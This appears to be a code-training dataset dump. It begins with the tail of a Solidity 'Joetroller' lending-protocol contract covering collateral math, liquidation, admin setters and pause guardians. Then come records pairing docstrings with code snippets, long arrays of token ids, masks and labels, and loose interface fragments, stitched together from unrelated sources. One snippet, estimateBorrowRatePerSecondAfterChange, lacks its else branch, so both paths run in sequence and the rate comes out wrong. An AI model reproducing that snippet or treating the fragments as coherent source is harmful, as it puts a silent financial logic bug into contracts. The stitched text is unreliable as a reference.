return (Error.SNAPSHOT_ERROR, 0, 0);
}
// Unlike compound protocol, getUnderlyingPrice is relatively expensive because we use ChainLink as our primary price feed.
// If user has no supply / borrow balance on this asset, and user is not redeeming / borrowing this asset, skip it.
if (vars.jTokenBalance == 0 && vars.borrowBalance == 0 && asset != jTokenModify) {
continue;
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
vars.tokensToDenom = mul_(mul_(vars.collateralFactor, vars.exchangeRate), vars.oraclePrice);
// sumCollateral += tokensToDenom * jTokenBalance
vars.sumCollateral = mul_ScalarTruncateAddUInt(vars.tokensToDenom, vars.jTokenBalance, vars.sumCollateral);
// sumBorrowPlusEffects += oraclePrice * borrowBalance
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.oraclePrice,
vars.borrowBalance,
vars.sumBorrowPlusEffects
);
// Calculate effects of interacting with jTokenModify
if (asset == jTokenModify) {
// redeem effect
// sumBorrowPlusEffects += tokensToDenom * redeemTokens
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.tokensToDenom,
redeemTokens,
vars.sumBorrowPlusEffects
);
// borrow effect
// sumBorrowPlusEffects += oraclePrice * borrowAmount
vars.sumBorrowPlusEffects = mul_ScalarTruncateAddUInt(
vars.oraclePrice,
borrowAmount,
vars.sumBorrowPlusEffects
);
}
}
// If credit limit is set, no need to consider collateral.
if (creditLimits[account] > 0) {
vars.sumCollateral = creditLimits[account];
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
/**
* @notice Calculate number of tokens of collateral asset to seize given an underlying amount
* @dev Used in liquidation (called in jToken.liquidateBorrowFresh)
* @param jTokenBorrowed The address of the borrowed jToken
* @param jTokenCollateral The address of the collateral jToken
* @param actualRepayAmount The amount of jTokenBorrowed underlying to convert into jTokenCollateral tokens
* @return (errorCode, number of jTokenCollateral tokens to be seized in a liquidation)
*/
function liquidateCalculateSeizeTokens(
address jTokenBorrowed,
address jTokenCollateral,
uint256 actualRepayAmount
) external view returns (uint256, uint256) {
/* Read oracle prices for borrowed and collateral markets */
uint256 priceBorrowedMantissa = oracle.getUnderlyingPrice(JToken(jTokenBorrowed));
uint256 priceCollateralMantissa = oracle.getUnderlyingPrice(JToken(jTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint256(Error.PRICE_ERROR), 0);
}
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
uint256 exchangeRateMantissa = JToken(jTokenCollateral).exchangeRateStored(); // Note: reverts on error
Exp memory numerator = mul_(
Exp({mantissa: liquidationIncentiveMantissa}),
Exp({mantissa: priceBorrowedMantissa})
);
Exp memory denominator = mul_(Exp({mantissa: priceCollateralMantissa}), Exp({mantissa: exchangeRateMantissa}));
Exp memory ratio = div_(numerator, denominator);
uint256 seizeTokens = mul_ScalarTruncate(ratio, actualRepayAmount);
return (uint256(Error.NO_ERROR), seizeTokens);
}
/*** Admin Functions ***/
function _setRewardDistributor(address payable newRewardDistributor) public returns (uint256) {
if (msg.sender != admin) {
return uint256(Error.UNAUTHORIZED);
}
(bool success, ) = newRewardDistributor.call.value(0)(abi.encodeWithSignature("initialize()", 0));
if (!success) {
return uint256(Error.REJECTION);
}
address oldRewardDistributor = rewardDistributor;
rewardDistributor = newRewardDistributor;
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets a new price oracle for the joetroller
* @dev Admin function to set a new price oracle
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPriceOracle(PriceOracle newOracle) public returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
// Track the old oracle for the joetroller
PriceOracle oldOracle = oracle;
// Set joetroller's oracle to newOracle
oracle = newOracle;
// Emit NewPriceOracle(oldOracle, newOracle)
emit NewPriceOracle(oldOracle, newOracle);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param newCloseFactorMantissa New close factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCloseFactor(uint256 newCloseFactorMantissa) external returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);
}
uint256 oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets the collateralFactor for a market
* @dev Admin function to set per-market collateralFactor
* @param jToken The market to set the factor on
* @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCollateralFactor(JToken jToken, uint256 newCollateralFactorMantissa) external returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
// Verify market is listed
Market storage market = markets[address(jToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
// Check collateral factor <= 0.9
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
// If collateral factor != 0, fail if price == 0
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(jToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
// Set market's collateral factor to new collateral factor, remember old value
uint256 oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
// Emit event with asset, old collateral factor, and new collateral factor
emit NewCollateralFactor(jToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setLiquidationIncentive(uint256 newLiquidationIncentiveMantissa) external returns (uint256) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
// Save current value for use in log
uint256 oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
// Set liquidation incentive to new incentive
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
// Emit event with old incentive, new incentive
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint256(Error.NO_ERROR);
}
/**
* @notice Add the market to the markets mapping and set it as listed
* @dev Admin function to set isListed and add support for the market
* @param jToken The address of the market (token) to list
* @param version The version of the market (token)
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _supportMarket(JToken jToken, Version version) external returns (uint256) {
require(msg.sender == admin, "only admin may support market");
require(!isMarketListed(address(jToken)), "market already listed");
jToken.isJToken(); // Sanity check to make sure its really a JToken
markets[address(jToken)] = Market({isListed: true, collateralFactorMantissa: 0, version: version});
_addMarketInternal(address(jToken));
emit MarketListed(jToken);
return uint256(Error.NO_ERROR);
}
/**
* @notice Remove the market from the markets mapping
* @param jToken The address of the market (token) to delist
*/
function _delistMarket(JToken jToken) external {
require(msg.sender == admin, "only admin may delist market");
require(isMarketListed(address(jToken)), "market not listed");
require(jToken.totalSupply() == 0, "market not empty");
jToken.isJToken(); // Sanity check to make sure its really a JToken
delete markets[address(jToken)];
for (uint256 i = 0; i < allMarkets.length; i++) {
if (allMarkets[i] == jToken) {
allMarkets[i] = allMarkets[allMarkets.length - 1];
delete allMarkets[allMarkets.length - 1];
allMarkets.length--;
break;
}
}
emit MarketDelisted(jToken);
}
function _addMarketInternal(address jToken) internal {
for (uint256 i = 0; i < allMarkets.length; i++) {
require(allMarkets[i] != JToken(jToken), "market already added");
}
allMarkets.push(JToken(jToken));
}
/**
* @notice Admin function to change the Supply Cap Guardian
* @param newSupplyCapGuardian The address of the new Supply Cap Guardian
*/
function _setSupplyCapGuardian(address newSupplyCapGuardian) external {
require(msg.sender == admin, "only admin can set supply cap guardian");
// Save current value for inclusion in log
address oldSupplyCapGuardian = supplyCapGuardian;
// Store supplyCapGuardian with value newSupplyCapGuardian
supplyCapGuardian = newSupplyCapGuardian;
// Emit NewSupplyCapGuardian(OldSupplyCapGuardian, NewSupplyCapGuardian)
emit NewSupplyCapGuardian(oldSupplyCapGuardian, newSupplyCapGuardian);
}
/**
* @notice Set the given supply caps for the given jToken markets. Supplying that brings total supplys to or above supply cap will revert.
* @dev Admin or supplyCapGuardian function to set the supply caps. A supply cap of 0 corresponds to unlimited supplying. If the total borrows
* already exceeded the cap, it will prevent anyone to borrow.
* @param jTokens The addresses of the markets (tokens) to change the supply caps for
* @param newSupplyCaps The new supply cap values in underlying to be set. A value of 0 corresponds to unlimited supplying.
*/
function _setMarketSupplyCaps(JToken[] calldata jTokens, uint256[] calldata newSupplyCaps) external {
require(
msg.sender == admin || msg.sender == supplyCapGuardian,
"only admin or supply cap guardian can set supply caps"
);
uint256 numMarkets = jTokens.length;
uint256 numSupplyCaps = newSupplyCaps.length;
require(numMarkets != 0 && numMarkets == numSupplyCaps, "invalid input");
for (uint256 i = 0; i < numMarkets; i++) {
supplyCaps[address(jTokens[i])] = newSupplyCaps[i];
emit NewSupplyCap(jTokens[i], newSupplyCaps[i]);
}
}
/**
* @notice Set the given borrow caps for the given jToken markets. Borrowing that brings total borrows to or above borrow cap will revert.
* @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. If the total supplies
* already exceeded the cap, it will prevent anyone to mint.
* @param jTokens The addresses of the markets (tokens) to change the borrow caps for
* @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing.
*/
function _setMarketBorrowCaps(JToken[] calldata jTokens, uint256[] calldata newBorrowCaps) external {
require(
msg.sender == admin || msg.sender == borrowCapGuardian,
"only admin or borrow cap guardian can set borrow caps"
);
uint256 numMarkets = jTokens.length;
uint256 numBorrowCaps = newBorrowCaps.length;
require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input");
for (uint256 i = 0; i < numMarkets; i++) {
borrowCaps[address(jTokens[i])] = newBorrowCaps[i];
emit NewBorrowCap(jTokens[i], newBorrowCaps[i]);
}
}
/**
* @notice Admin function to change the Borrow Cap Guardian
* @param newBorrowCapGuardian The address of the new Borrow Cap Guardian
*/
function _setBorrowCapGuardian(address newBorrowCapGuardian) external {
require(msg.sender == admin, "only admin can set borrow cap guardian");
// Save current value for inclusion in log
address oldBorrowCapGuardian = borrowCapGuardian;
// Store borrowCapGuardian with value newBorrowCapGuardian
borrowCapGuardian = newBorrowCapGuardian;
// Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian)
emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian);
}
/**
* @notice Admin function to change the Pause Guardian
* @param newPauseGuardian The address of the new Pause Guardian
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _setPauseGuardian(address newPauseGuardian) public returns (uint256) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);
}
// Save current value for inclusion in log
address oldPauseGuardian = pauseGuardian;
// Store pauseGuardian with value newPauseGuardian
pauseGuardian = newPauseGuardian;
// Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)
emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);
return uint256(Error.NO_ERROR);
}
function _setMintPaused(JToken jToken, bool state) public returns (bool) {
require(isMarketListed(address(jToken)), "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
mintGuardianPaused[address(jToken)] = state;
emit ActionPaused(jToken, "Mint", state);
return state;
}
function _setBorrowPaused(JToken jToken, bool state) public returns (bool) {
require(isMarketListed(address(jToken)), "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
borrowGuardianPaused[address(jToken)] = state;
emit ActionPaused(jToken, "Borrow", state);
return state;
}
function _setFlashloanPaused(JToken jToken, bool state) public returns (bool) {
require(isMarketListed(address(jToken)), "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
flashloanGuardianPaused[address(jToken)] = state;
emit ActionPaused(jToken, "Flashloan", state);
return state;
}
function _setTransferPaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
transferGuardianPaused = state;
emit ActionPaused("Transfer", state);
return state;
}
function _setSeizePaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "only admin can unpause");
seizeGuardianPaused = state;
emit ActionPaused("Seize", state);
return state;
}
function _become(Unitroller unitroller) public {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
require(unitroller._acceptImplementation() == 0, "change not authorized");
}
/**
* @notice Sets whitelisted protocol's credit limit
* @param protocol The address of the protocol
* @param creditLimit The credit limit
*/
function _setCreditLimit(address protocol, uint256 creditLimit) public {
require(msg.sender == admin, "only admin can set protocol credit limit");
creditLimits[protocol] = creditLimit;
emit CreditLimitChanged(protocol, creditLimit);
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == joetrollerImplementation;
}
/*** Reward distribution functions ***/
/**
* @notice Claim all the JOE/AVAX accrued by holder in all markets
* @param holder The address to claim JOE/AVAX for
*/
function claimReward(uint8 rewardType, address payable holder) public {
RewardDistributor(rewardDistributor).claimReward(rewardType, holder);
}
/**
* @notice Claim all the JOE/AVAX accrued by holder in the specified markets
* @param holder The address to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
*/
function claimReward(
uint8 rewardType,
address payable holder,
JToken[] memory jTokens
) public {
RewardDistributor(rewardDistributor).claimReward(rewardType, holder, jTokens);
}
/**
* @notice Claim all JOE/AVAX accrued by the holders
* @param rewardType 0 = JOE, 1 = AVAX
* @param holders The addresses to claim JOE/AVAX for
* @param jTokens The list of markets to claim JOE/AVAX in
* @param borrowers Whether or not to claim JOE/AVAX earned by borrowing
* @param suppliers Whether or not to claim JOE/AVAX earned by supplying
*/
function claimReward(
uint8 rewardType,
address payable[] memory holders,
JToken[] memory jTokens,
bool borrowers,
bool suppliers
) public payable {
RewardDistributor(rewardDistributor).claimReward(rewardType, holders, jTokens, borrowers, suppliers);
}
}
| * @notice Returns the estimated per-sec borrow interest rate for this jToken after some change @return The borrow interest rate per sec, scaled by 1e18/ | function estimateBorrowRatePerSecondAfterChange(uint256 change, bool repay) external view returns (uint256) {
uint256 cashPriorNew;
uint256 totalBorrowsNew;
if (repay) {
cashPriorNew = add_(getCashPrior(), change);
totalBorrowsNew = sub_(totalBorrows, change);
cashPriorNew = sub_(getCashPrior(), change);
totalBorrowsNew = add_(totalBorrows, change);
}
return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves);
}
| 1,809,993 | [
1,
1356,
326,
13137,
1534,
17,
3321,
29759,
16513,
4993,
364,
333,
525,
1345,
1839,
2690,
2549,
327,
1021,
29759,
16513,
4993,
1534,
1428,
16,
12304,
635,
404,
73,
2643,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11108,
38,
15318,
4727,
2173,
8211,
4436,
3043,
12,
11890,
5034,
2549,
16,
1426,
2071,
528,
13,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
276,
961,
25355,
1908,
31,
203,
3639,
2254,
5034,
2078,
38,
280,
3870,
1908,
31,
203,
203,
3639,
309,
261,
266,
10239,
13,
288,
203,
5411,
276,
961,
25355,
1908,
273,
527,
67,
12,
588,
39,
961,
25355,
9334,
2549,
1769,
203,
5411,
2078,
38,
280,
3870,
1908,
273,
720,
67,
12,
4963,
38,
280,
3870,
16,
2549,
1769,
203,
5411,
276,
961,
25355,
1908,
273,
720,
67,
12,
588,
39,
961,
25355,
9334,
2549,
1769,
203,
5411,
2078,
38,
280,
3870,
1908,
273,
527,
67,
12,
4963,
38,
280,
3870,
16,
2549,
1769,
203,
3639,
289,
203,
3639,
327,
16513,
4727,
1488,
18,
588,
38,
15318,
4727,
12,
71,
961,
25355,
1908,
16,
2078,
38,
280,
3870,
1908,
16,
2078,
607,
264,
3324,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x43c535F1bb8f3743B5d19b5e3241035db6C40656/sources/Humanity.sol | Set the name for display purposes (CHANGE THIS)
| name = "Humanity"; | 15,610,480 | [
1,
694,
326,
508,
364,
2562,
13694,
261,
14473,
20676,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
508,
273,
315,
28201,
560,
14432,
4766,
565,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x5137ABFf24ad5b7f8079F7f9BfCDB5645e490526/sources/project_/contracts/ERC1410/ERC1410Basic.sol | @notice To set the token metadata @dev For ERC20 backward compatibility | constructor (string memory _name, string memory _symbol, uint8 _decimals) public {
tokenName = _name;
tokenSymbol = _symbol;
tokenDecimals = _decimals;
}
| 11,594,580 | [
1,
774,
444,
326,
1147,
1982,
225,
2457,
4232,
39,
3462,
12555,
8926,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
261,
1080,
3778,
389,
529,
16,
533,
3778,
389,
7175,
16,
2254,
28,
389,
31734,
13,
1071,
288,
203,
3639,
1147,
461,
273,
389,
529,
31,
203,
3639,
1147,
5335,
273,
389,
7175,
31,
203,
3639,
1147,
31809,
273,
389,
31734,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
/// @title Claimable contract interface
interface IClaimable {
function owner() external view returns (address);
function transferOwnership(address newOwner) external;
function acceptOwnership() external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./IClaimable.sol";
/// @title Mintable Token interface
interface IMintableToken is IERC20, IClaimable {
function issue(address to, uint256 amount) external;
function destroy(address from, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
import "./IMintableToken.sol";
/// @title The interface for mintable/burnable token governance.
interface ITokenGovernance {
// The address of the mintable ERC20 token.
function token() external view returns (IMintableToken);
/// @dev Mints new tokens.
///
/// @param to Account to receive the new amount.
/// @param amount Amount to increase the supply by.
///
function mint(address to, uint256 amount) external;
/// @dev Burns tokens from the caller.
///
/// @param amount Amount to decrease the supply by.
///
function burn(uint256 amount) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
